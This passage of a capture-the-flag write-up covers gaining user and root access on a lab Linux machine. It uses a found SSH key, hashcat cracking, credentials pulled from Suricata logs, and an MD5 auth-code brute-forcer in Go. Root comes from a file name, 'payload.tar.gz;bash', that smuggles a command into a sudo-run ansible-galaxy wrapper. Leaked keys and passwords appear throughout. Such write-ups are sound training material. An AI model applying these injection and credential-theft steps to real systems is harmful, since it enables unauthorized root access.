nEKhrdeHTe4Q+HZXuBSCbXOqpOt9KZwZuj2CB27yGnVBAP+DOYVAbbM5LZWvXP+7vb7+BW
ci+lAtzdlOEAI6unVp8DiIdOeprpLnTBDHCe3+k3BD6tyOR0PsxIqL9C4om4G16cOaw9Lu
nCzj61Uyn4PfHjPlCfb0VfzrM+hkXus+m0Oq4DccwahrnEdt5qydghYpWiMgfELtQ2Z3W6
XxwXArPr6+HQe9hZSjI2hjYC2OU=
-----END OPENSSH PRIVATE KEY-----
And I save this key as found_id_rsa
and assign to it permission with the command chmod 600 found_id_rsa
.
The problem is this key is for some user, but what user? Since we have the passphrase we can use ssh-keygen
along with -y
and -f
flags to get it:
❯ ssh-keygen -y -f found_id_rsa
Enter passphrase:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local
so it is a key for the user dev_acc
.
We can then use this key to log in via SSH
as the user dev_acc
:
❯ ssh -i found_id_rsa dev_acc@10.10.11.15
The authenticity of host '10.10.11.15 (10.10.11.15)' can't be established.
ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.15' (ED25519) to the list of known hosts.
Enter passphrase for key 'found_id_rsa':
dev_acc@intuition:~$ whoami
dev_acc
and get the user flag.
Root Link to heading
To get some hints about the escalation I upload LinPEAS
(downloaded from its Github repository) with wget
after starting a temporal Python
HTTP
server on port 8000
. In my machine I run:
❯ ls && python3 -m http.server 8000
linpeas.sh
and in the target machine I run:
dev_acc@intuition:~$ wget http://10.10.16.6:8000/linpeas.sh -O /tmp/linpeas.sh
--2024-05-27 20:35:44-- http://10.10.16.6:8000/linpeas.sh
Connecting to 10.10.16.6:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘/tmp/linpeas.sh’
/tmp/linpeas.sh 100%[=======================================================================================>] 827.94K 192KB/s in 4.6s
2024-05-27 20:35:49 (180 KB/s) - ‘/tmp/linpeas.sh’ saved [847815/847815]
dev_acc@intuition:~$ chmod +x /tmp/linpeas.sh
dev_acc@intuition:~$ /tmp/linpeas.sh
After running it, I can see some database files:
<SNIP>
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /var/lib/command-not-found-backup/commands.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 881, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 3, database pages 6, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/www/app/blueprints/auth/users.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 18, database pages 4, cookie 0x1, schema 4, UTF-8, version-valid-for 18
Found /var/www/app/blueprints/report/reports.db: SQLite 3.x database, last written using SQLite version 3034001, file counter 73, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 73
-> Extracting tables from /var/lib/command-not-found-backup/commands.db (limit 20)
-> Extracting tables from /var/lib/fwupd/pending.db (limit 20)
-> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
-> Extracting tables from /var/www/app/blueprints/auth/users.db (limit 20)
-> Extracting tables from /var/www/app/blueprints/report/reports.db (limit 20)
<SNIP>
where I can see a SQLite
database.
We then check it:
dev_acc@intuition:~$ cd /var/www/app/blueprints/auth/
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
sqlite>
here I find 2 hashes for users admin
and adam
.
I save these hashes in my machine into a file called hashes_found
:
❯ cat hashes_found
sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43
Then I will attempt a Brute Force Password Cracking
with Hashcat
. I search for example hashes for Hashcat and I see that mode 30120
matches with our hashes (also, its description says Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) *
, that matches with our finding of Flask
service). Therefore I run:
❯ hashcat hashes_found /usr/share/wordlists/rockyou.txt -m 30120 -O
<SNIP>
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
Approaching final keyspace - workload adjusted.
<SNIP>
where we find the password adam gray
.
I check for other users in this machine. We have another user called lopez
and adam
, but this password do not work for any of these users:
dev_acc@intuition:/var/www/app/blueprints/auth$ ls /home
adam dev_acc lopez
dev_acc@intuition:/var/www/app/blueprints/auth$ su lopez
Password:
su: Authentication failure
dev_acc@intuition:/var/www/app/blueprints/auth$ su adam
Password:
su: Authentication failure
From the intrusion, and also from LinPEAS
output, I remember that FTP
was running on this machine. If we try to log in with user adam
and the cracked password we have:
dev_acc@intuition:/var/www/app/blueprints/auth$ ftp adam@localhost
Connected to localhost.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
They worked.
Checking what is inside this service we have some backup files:
ftp> ls
229 Entering extended passive mode (|||52591|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||49375|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||47211|).
125 Data connection already open. Transfer starting.
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
226 Transfer complete.
ftp>
We find files. We download these files:
ftp> mget .
mget run-tests.sh [anpqy?]? y
229 Entering extended passive mode (|||46833|).
125 Data connection already open. Transfer starting.
100% |******************************************************************************************************************************| 318 295.19 KiB/s 00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (199.32 KiB/s)
mget runner1 [anpqy?]? y
229 Entering extended passive mode (|||44975|).
150 File status okay. About to open data connection.
100% |******************************************************************************************************************************| 16744 9.13 MiB/s 00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (7.20 MiB/s)
mget runner1.c [anpqy?]? y
229 Entering extended passive mode (|||49583|).
150 File status okay. About to open data connection.
100% |******************************************************************************************************************************| 3815 2.28 MiB/s 00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (1.87 MiB/s)
Once downloaded if we do cat run-test.sh
we have the Bash
script:
#!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
that simply runs runner1
file with the command list
.
The last line seems interesting since it seems to be kind of an authentication.
Reading runner1.c
we have:
// Version : 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}
struct dirent *entry;
int playbookNumber = 1;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}
closedir(dir);
}
void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}
void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
int auth_required = 0;
char auth_key[128];
for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}
if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}
if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}
struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}
closedir(dir);
if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
return 0;
}
This script apparently compares MD5
hash with the argument of the flag -a
when the command install
is used.
The comment #define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
that defines the MD5
hash to authenticate, and the hash of the password/string UHI75GHI****
must be the same. Here we can attempt to brute force this string.
Since a script in Python
could be very slow to bruteforce the hash, I create a script in Go
to do it. The script is:
package main
import (
"crypto/md5"
"encoding/hex"
"fmt"
)
// Calculate MD5 hash
func getMD5Hash(text string) string {
hash := md5.Sum([]byte(text))
return hex.EncodeToString(hash[:])
}
// Brute force MD5 hash
func bruteForceMatch(pattern string, targetHash string, position int) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789|\\@#%&/()=?_.,"
if position >= len(pattern) {
if getMD5Hash(pattern) == targetHash {
return pattern
}
return ""
}
if pattern[position] != '*' {
return bruteForceMatch(pattern, targetHash, position+1)
}
for _, char := range charset {
newPattern := pattern[:position] + string(char) + pattern[position+1:]
result := bruteForceMatch(newPattern, targetHash, position+1)
if result != "" {
return result
}
}
return ""
}
// Main
func main() {
targetHash := "0feda17076d793c2ef2870d7427ad4ed" // Auth hash
pattern := "UHI75GHI****" // String to find
result := bruteForceMatch(pattern, targetHash, 0)
if result != "" {
fmt.Printf("Match found: %s\n", result)
} else {
fmt.Println("No match found.")
}
}
and running it, it quickly returns:
❯ go run main.go
Match found: UHI75GHINKOP
so we have the authentication code UHI75GHINKOP
.
I check what this application tries to install when we call it. For that, as usual, I start a netcat
listener on port 8000
. In the victim machine I run:
dev_acc@intuition:/tmp/temp$ ./runner1 install http://10.10.16.6:8000/ -a UHI75GHINKOP
Starting galaxy role install process
- downloading role from http://10.10.16.6:8000/
and in my netcat
listener I get:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 51002
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.6:8000
User-Agent: ansible-galaxy/2.10.8 (Linux; python:3.11.0)
Connection: close
so Ansible Galaxy
is attempting to install something.
Ansible Galaxy
is a galaxy website where users can share roles and to a command-line tool for installing, creating, and managing roles. Ansible Galaxy
gives greater visibility to one of Ansible’s most exciting features, such as application installation or reusable roles for server configurationLooking again at LinPEAS
output, we have:
<SNIP>
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/var/www/app/blueprints/auth/users.db
/var/log/kern.log
/var/log/auth.log
/var/log/syslog
/var/log/laurel/audit.log.8
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log.3
/var/log/laurel/audit.log.9
/var/log/laurel/audit.log.5
/var/log/laurel/audit.log.6
/var/log/laurel/audit.log
/var/log/laurel/audit.log.7
/var/log/laurel/audit.log.4
/var/log/laurel/audit.log.2
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system@b03da3a0958940309fbfcf7acfe4ac92-0000000000064aa6-0006197584a8f306.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/user-1001.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system.journal
/var/log/suricata/eve.json
/var/log/suricata/stats.log
/var/log/nginx/access.log
/home/dev_acc/.gnupg/pubring.kbx
/home/dev_acc/.gnupg/trustdb.gpg
/home/dev_acc/snap/lxd/common/config/config.yml
<SNIP>
I can see Suricata
service running:
Suricata
is an open-source detection engine that can act as an intrusion detection system (IDS) and an intrusion prevention system (IPS). It was developed by the Open Information Security Foundation (OSIF) and is a free tool used by enterprises, small and large.Basically, this software analyzes the traffic in this machine. So it could contain usernames and/or passwords. Visiting /var/log/suricata
I can see some files:
dev_acc@intuition:~$ ls -la /var/log/suricata/
total 127208
drwxr-xr-x 2 root root 4096 May 27 17:46 .
drwxrwxr-x 12 root syslog 4096 May 27 17:46 ..
-rw-r--r-- 1 root root 80670968 May 27 22:07 eve.json
-rw-r--r-- 1 root root 16630665 May 27 17:46 eve.json.1
-rw-r--r-- 1 root root 5760612 Oct 26 2023 eve.json.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 eve.json.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 eve.json.1-2024042918.backup
-rw-r--r-- 1 root root 0 Apr 29 18:27 eve.json.1-2024052717.backup
-rw-r--r-- 1 root root 214743 Oct 28 2023 eve.json.5.gz
-rw-r--r-- 1 root root 5050595 Oct 14 2023 eve.json.7.gz
-rw-r--r-- 1 root root 972578 Sep 29 2023 eve.json.8.gz
-rw-r--r-- 1 root root 0 May 27 17:46 fast.log
-rw-r--r-- 1 root root 0 May 27 17:46 fast.log.1
-rw-r--r-- 1 root root 0 Oct 26 2023 fast.log.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 fast.log.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 fast.log.1-2024042918.backup
-rw-r--r-- 1 root root 0 Apr 29 18:27 fast.log.1-2024052717.backup
-rw-r--r-- 1 root root 20 Oct 26 2023 fast.log.5.gz
-rw-r--r-- 1 root root 1033 Oct 8 2023 fast.log.7.gz
-rw-r--r-- 1 root root 1485 Sep 28 2023 fast.log.8.gz
-rw-r--r-- 1 root root 8119002 May 27 22:07 stats.log
-rw-r--r-- 1 root root 7720141 May 27 17:46 stats.log.1
-rw-r--r-- 1 root root 4293890 Oct 26 2023 stats.log.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 stats.log.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 stats.log.1-2024042918.backup
-rw-r--r-- 1 root root 0 Apr 29 18:27 stats.log.1-2024052717.backup
-rw-r--r-- 1 root root 73561 Oct 28 2023 stats.log.5.gz
-rw-r--r-- 1 root root 376680 Oct 14 2023 stats.log.7.gz
-rw-r--r-- 1 root root 67778 Sep 29 2023 stats.log.8.gz
-rw-r--r-- 1 root root 1218 May 27 17:46 suricata.log
-rw-r--r-- 1 root root 25296 May 27 17:46 suricata.log.1
-rw-r--r-- 1 root root 3893 Oct 26 2023 suricata.log.1-2024040114.backup
-rw-r--r-- 1 root root 68355 Apr 8 14:19 suricata.log.1-2024042213.backup
-rw-r--r-- 1 root root 95100 Apr 22 13:26 suricata.log.1-2024042918.backup
-rw-r--r-- 1 root root 26145 Apr 29 18:27 suricata.log.1-2024052717.backup
-rw-r--r-- 1 root root 990 Apr 1 14:50 suricata.log.5.gz
-rw-r--r-- 1 root root 1412 Oct 19 2023 suricata.log.7.gz
-rw-r--r-- 1 root root 5076 Oct 8 2023 suricata.log.8.gz
where I can see some .log
and .gz
files.
Searching for lopez
user with grep
returns nothing:
dev_acc@intuition:~$ grep -i "lopez" /var/log/suricata/ 2>/dev/null
but searching with zgrep
(which is grep
for compressed files) we can see something:
dev_acc@intuition:~$ zgrep -i "lopez" /var/log/suricata/*.gz 2>/dev/null
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
where Lopezz1992%123
seems like a password.
I check with NetExec
if these credentials work via SSH
and they do:
❯ netexec ssh 10.10.11.15 -u 'lopez' -p 'Lopezz1992%123'
SSH 10.10.11.15 22 10.10.11.15 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH 10.10.11.15 22 10.10.11.15 [+] lopez:Lopezz1992%123 (non root) Linux - Shell access!
so we have credentials: lopez:Lopezz1992%123
and connect via SSH
as this user:
❯ sshpass -p 'Lopezz1992%123' ssh -o stricthostkeychecking=no lopez@10.10.11.15
lopez@intuition:~$ whoami
lopez
I note that this user can run a file as sudo
:
lopez@intuition:~$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
where we have a the file /opt/runner2/runner2
. Due to its name, it might be something like the second version of runner1
(the previous found files in FTP
share).
Running this file shows:
lopez@intuition:/opt/runner2$ ./runner2
Usage: ./runner2 <json_file>
which seems a little bit different from runner1
binary.
We then pass this file from the victim machine to our attacker machine. We now will do some Reverse Engineering
with Ghidra
. Analyzing the main
function we have:
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
FILE *__stream;
long lVar2;
int *piVar3;
int *piVar4;
char *pcVar5;
undefined8 uVar6;
DIR *__dirp;
dirent *pdVar7;
int local_80;
char *local_78;
if (param_1 != 2) {
printf("Usage: %s <json_file>\n",*param_2);
return 1;
}
__stream = fopen((char *)param_2[1],"r");
if (__stream == (FILE *)0x0) {
perror("Failed to open the JSON file");
return 1;
}
lVar2 = json_loadf(__stream,2,0);
fclose(__stream);
if (lVar2 == 0) {
fwrite("Error parsing JSON data.\n",1,0x19,stderr);
return 1;
}
piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
}
else {
piVar4 = (int *)json_object_get(piVar3,"action");
if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
}
else {
pcVar5 = (char *)json_string_value(piVar4);
iVar1 = strcmp(pcVar5,"list");
if (iVar1 == 0) {
listPlaybooks();
}
else {
iVar1 = strcmp(pcVar5,"run");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 3)) {
fwrite("Invalid \'num\' value for \'run\' action.\n",1,0x26,stderr);
}
else {
iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
perror("Failed to open the playbook directory");
return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
if ((pdVar7->d_type == '\b') &&
(pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
if (local_80 == iVar1) {
local_78 = pdVar7->d_name;
break;
}
local_80 = local_80 + 1;
}
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
runPlaybook(local_78);
}
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'run\' action.\n",1,0x38,stderr);
json_decref(lVar2);
return 1;
}
iVar1 = strcmp(pcVar5,"install");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
}
else {
uVar6 = json_string_value(piVar3);
installRole(uVar6);
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
json_decref(lVar2);
return 1;
}
fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
}
}
}
LAB_00101db5:
json_decref(lVar2);
return 0;
}
Basically, this file first check that an argument has been passed, or it prints the message that showed to us when we executed it. Then tries to open a JSON
file, and then to parse it. After that, it searches for run
key, within it, and action
key. Once they are read, it will ask for command such as list
, run
or install
. run
and install
command will need an authentication key, which I assume is the same found for runner1
. Additionally, install
command also needs a parameter role_file
(inside run
key) and auth_code
key in the JSON
file.
From the reversed code, if we pass a Role File, it will execute the installRole
function:
void installRole(undefined8 param_1)
{
int iVar1;
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = isTarArchive(param_1);
if (iVar1 == 0) {
fwrite("Invalid tar archive.\n",1,0x15,stderr);
}
else {
snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
system(local_418);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
First, this function checks that the passed file is a tar
file. If it is, it installs it using /usr/bin/ansible-galaxy
(Ansible Galaxy
).
If we analyze what happens when we run the command run
, it calls runPlaybook
function, that is:
void runPlaybook(undefined8 param_1)
{
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
snprintf(local_418,0x400,"%s -i %s %s%s","/usr/bin/ansible-playbook",
"/opt/playbooks/inventory.ini","/opt/playbooks/",param_1);
system(local_418);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
So this function uses Ansible Galaxy
, search an inventory .ini
file called /opt/playbooks/inventory.ini
and looks for the playbook called /opt/playbooks/<user-parameter>
. Then, it’s executed by system
, so we might try to inject command in the name of the compressed role file.
In summary:
- We need to create a
JSON
file. - This file needs to contain a
run
key and anauth_code
key. auth_code
key should be the same key we found in the previous script (UHI75GHINKOP
).- Inside
run
key we need anaction
key (that needs to be set asinstall
) and arole_file
key for anAnsible
compressed role file. - Since this compressed
Ansible
role file is being executed bysystem
, we can attempt to inject a command in the name of the compressed file.
Now that we have all the fields we need, we can attempt to create a malicious JSON
file. Also, we will need a tar
file containing a role. For this I use this Github repository for the sys admin
role. First, download the compressed Ansible
role file:
❯ wget https://github.com/coopdevs/sys-admins-role/archive/refs/tags/v0.0.3.tar.gz -O sys_admins_role.tar.gz
Then start a temporal Python
HTTP
server on port 8000
and pass it to the target machine:
❯ ls && python3 -m http.server 8000
found_id_rsa hashes_found runner2 sys_admins_role.tar.gz
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and in the victim machine just download it:
lopez@intuition:/opt/runner2$ wget http://10.10.16.6:8000/sys_admins_role.tar.gz -O /tmp/sys_admins_role.tar.gz
Now, let’s rename this file as payload.tar.gz;bash
to inject commands:
lopez@intuition:/tmp$ cp sys_admins_role.tar.gz payload.tar.gz\;bash
and create a payload.json
file with the content:
{
"run": {
"action":"install",
"role_file":"payload.tar.gz;bash"
},
"auth_code":"UHI75GHINKOP"
}
Now run the command with sudo
:
lopez@intuition:/tmp$ sudo /opt/runner2/runner2 /tmp/payload.json
Starting galaxy role install process
[WARNING]: - payload.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3]
Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/tmp# whoami
root
It worked. GG.
~Happy Hacking.